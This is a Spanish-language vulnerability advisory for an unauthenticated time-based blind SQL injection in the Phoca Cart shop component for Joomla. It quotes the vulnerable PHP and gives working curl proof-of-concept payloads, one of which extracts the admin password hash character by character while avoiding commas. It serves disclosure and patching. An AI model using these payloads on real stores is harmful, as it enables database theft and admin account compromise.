
Inyección SQL no autenticada a través del filtro de atributos en Phoca Cart - CVSS 9.3
Phoca Cart ≤ 6.1.6 — Un atacante no autenticado extrae la base de datos completa mediante inyección ciega basada en tiempo
Los parámetros de matriz GET a[] (atributo) y s[] (especificación) en la página pública de artículos de la tienda de Phoca Cart se concatenan sin procesar en las cláusulas SQL WHERE sin parametrización ni escape. Un atacante no autenticado puede inyectar SQL arbitrario a través de estos parámetros, lo que permite la extracción completa de la base de datos mediante técnicas ciegas basadas en tiempo.
La vulnerabilidad reside en getSqlPartsArray() dentro de admin/libraries/phocacart/search/search.php. La función llama a explode(',', $v) antes de construir la lista IN(), pero nunca escapa los valores resultantes, por lo que un payload sin comas pasa intacto a la consulta SQL. Dado que getItemListQuery() se llama dos veces por petición (getTotal() + getItemList()), un payload SLEEP(N) provoca un retardo observable de 2×N segundos, lo que hace que la detección por tiempo sea muy fiable.
| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Tipo: Inyección SQL — Ciega basada en tiempo (CWE-89)
Autenticación requerida: Ninguna — endpoint de acceso público
Archivo: admin/libraries/phocacart/search/search.php
El modelo de artículos lee los parámetros a[] y s[] directamente de la petición HTTP sin saneamiento:
SITE/MODELS/ITEMS.PHP — LÍNEA 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Estos valores se reenvían a getSqlPartsArray(), que divide cada valor por comas e inserta los fragmentos resultantes directamente en la cláusula SQL IN():
SEARCH.PHP — GETSQLPARTSARRAY() LÍNEAS 318–363 (VULNERABLE)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
El fragmento SQL resultante se inserta en la consulta principal:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() en filter.php aplica filterValue($item, 'alphanumeric') a los valores de a[]/s[] para la capa de visualización. Sin embargo, getSqlPartsArray() lee los mismos parámetros directamente de $app->getInput()->get('a', '', 'array') sin aplicar saneamiento, omitiendo por completo la protección de la capa de visualización.
No se requiere autenticación. La vista de artículos (/index.php?option=com_phocacart&view=items) es de acceso público. No es necesario configurar atributos ni especificaciones en la tienda.
Un usuario no autenticado puede acceder al portal de compras sin credenciales.

Petición sin procesar capturada en Burp Suite — tiempo de respuesta de referencia: 76ms.

a[])Se inyecta un payload SLEEP(3) a través del parámetro a[color]. Dado que getItemListQuery() se llama dos veces por petición, el retardo esperado es de 2 × 3 = 6s. Observado: 7085ms — confirmado.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Reemplazar SLEEP(3) por SLEEP(0) devuelve la respuesta inmediatamente (1064ms), lo que confirma que el retardo lo causa el SLEEP inyectado y no las condiciones de red.

Extraiga el hash bcrypt del administrador un byte a la vez. Restricción crítica: explode(',', $v) divide por comas antes de construir el SQL — los payloads deben usar SUBSTRING(str FROM pos FOR len) (sintaxis de palabra clave ANSI) para evitar el truncamiento por comas, y CASE WHEN ... THEN ... ELSE ... END en lugar de IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"